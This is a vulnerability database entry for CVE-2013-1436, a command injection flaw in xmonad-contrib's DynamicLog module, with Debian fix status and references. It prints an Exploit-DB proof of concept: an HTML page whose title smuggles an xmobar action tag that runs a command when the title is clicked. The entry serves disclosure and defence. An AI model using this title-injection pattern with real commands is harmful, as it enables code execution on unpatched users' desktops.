CVE-2013-1436
Description
The XMonad.Hooks.DynamicLog module in xmonad-contrib before 0.11.2 allows remote attackers to execute arbitrary commands via a web page title, which activates the commands when the user clicks on the xmobar window title, as demonstrated using an action tag.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
xmonad XMonad.Hooks.DynamicLog Module - Multiple Remote Command Injection Vulnerabilities
source: https://www.securityfocus.com/bid/61491/info
XMonad.Hooks.DynamicLog module for xmonad is prone to multiple remote command-injection vulnerabilities.
Successful exploits will result in the execution of arbitrary commands in the context of the affected applications. This may aid in further attacks.
<html>
<head>
<title><action=xclock>An innocent title</action></title>
</head>
<body>
<h1>Good bye, cruel world</h1>
</body>
</html>OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.11.2-1 |
| sid | Fixed | 0.11.2-1 |
| forky | Fixed | 0.11.2-1 |
| bullseye | Fixed | 0.11.2-1 |
| bookworm | Fixed | 0.11.2-1 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| xmonad | xmonad-contrab | {"endIncluding":"0.11.1"} | |
| xmonad | xmonad-contrab | 0.11 | |
References
- http://handra.rampa.sk/dawb/patch?repoPURL=http%3A%2F%2Fcode.haskell.org%2FXMonadContrib&repoPHash=20130708144813-1499c-0c3e284d3523c0694b9423714081761813bc1e89
- http://security.gentoo.org/glsa/glsa-201405-28.xml
- http://www.openwall.com/lists/oss-security/2013/07/26/5
- http://www.securityfocus.com/bid/61491
- https://security-tracker.debian.org/tracker/CVE-2013-1436
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.